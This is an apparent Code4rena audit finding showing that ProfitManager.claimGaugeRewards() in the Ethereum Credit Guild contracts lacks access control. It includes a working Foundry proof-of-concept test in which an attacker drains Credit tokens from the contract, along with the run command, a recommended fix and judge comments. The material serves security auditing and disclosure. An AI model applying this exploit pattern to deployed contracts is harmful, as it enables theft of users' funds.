Anyone can drain ProfitManager balance by calling claimGaugeRewards() directly

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L420 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409

Vulnerability details

Impact

ProfitManager.claimGaugeRewards() is a permissionless public function. In the protocol, SurplusGuildMinter calls it through claimRewards(). Currently, anyone with GUILD token amount can call it directly. If called directly by a fresh EOA which hasn't interacted with ProfitManager before, the value of _userGaugeProfitIndex will be 0. Therefore, it's possible to claim enormous amount of reward in Credit tokens. Eventually, it leads to the loss of ProfitManager balance in Credit tokens.

Initially, an attacker gets GUILD tokens as a reward for staking Credit tokens in SurplusGuildMinter.

Subsequently, there are two possibilities for the attacker:

1. GUILD token is transferrable, the attacker in a loop transfers GUILD amount to a fresh EOA and calls ProfitManager.claimGaugeRewards() while there exist funds in ProfitManager.
2. GUILD token isn't transferrable. The attacker uses multiple EOAs to get GUILD reward from SurplusGuildMinter. Next, they call ProfitManager.claimGaugeRewards() for each EOA with different terms.

Proof of Concept

1. Alice gets GUILD tokens as a reward from staking in SurplusGuildMinter. She stakes 1000 Credit tokens.
2. Alice calls ProfitManager.claimGaugeRewards() to get 98x profit of 98000 Credit tokens.

// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_accesscontrol() public {
    //// Setup

    // Define profit sharing config
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );

    // ProfitManager balance in Credit tokens is set to 1_000_000
    credit.mint(address(profitManager), uint256(1_000_000 * 1e18));

    // Before the attack SurplusGuildMinter works as normal, users stake/unstake,
    // in total 20_000 Credit tokens've been distributes as a reward
    address Eve = address(111);
    credit.mint(address(Eve), 100 * 1e18);
    vm.startPrank(Eve);
    credit.approve(address(sgm), 100 * 1e18);
    sgm.stake(term, 100 * 1e18);
    vm.stopPrank();

    profitManager.notifyPnL(term, 20_000 * 1e18);

    vm.prank(Eve);
    sgm.unstake(term, 100 * 1e18);

    //// Attack

    // 1. Alice stakes Credit tokens in SurplusGuildMinter,
    //    she get GUILD tokens as a reward - https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L259
    address Alice = address(789);

    // Stake in SurplusGuildMinter
    uint256 initalAliceCredits = 1000 * 1e18;
    credit.mint(address(Alice), initalAliceCredits);
    vm.startPrank(Alice);
    credit.approve(address(sgm), initalAliceCredits);
    sgm.stake(term, initalAliceCredits);
    vm.stopPrank();

    // Distribute 1000 Credit tokens as a reward after Alice staked
    profitManager.notifyPnL(term, 1000 * 1e18);

    // Alice gets reward in GUILD tokens
    require(guild.balanceOf(Alice) == 0);
    vm.prank(Alice);
    sgm.getRewards(Alice, term);
    require(guild.balanceOf(Alice) > 0);

    uint256 guildBalance = guild.balanceOf(Alice);

    // 2. Alice uses amount of GUILD reward to drain ProfitManager balance
    //    by calling ProfitManager.claimGaugeRewards() directly!

    vm.startPrank(Alice);
    guild.incrementGauge(term, uint112(guildBalance));
    profitManager.claimGaugeRewards(Alice, term);
    vm.stopPrank();

    // Alice gets > 98x profit!
    // >  98_000 Credit tokens, initialy she has 1_000 Credit tokens
    require(
        credit.balanceOf(Alice) > initalAliceCredits * 98
    );

    // 3. Alice has two options to continue the attack:
    //    + If GUILD token is transferable, she can transfer balance to another EOA
    //      and call profitManager.claimGaugeRewards() to get another 98_000 Credit 
    //      tokens for free.
    //    + She can unstake Credit tokens from SurplusGuildMinter, move balance to 
    //      another EOA, stake from new EOA, receive GUILD reward, call 
    //      profitManager.claimGaugeRewards() from new EOA for all terms available.
}

Run Poc with the following command.

forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_accesscontrol

Tools Used

Manual review.

Recommended Mitigation Steps

Protect ProfitManager.claimGaugeRewards() with access control by introducing a new role. Assign the role to the SurplusGuildMinter contract.

Assessed type

Access Control

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1211

[c4-judge]

Trumpero marked the issue as satisfactory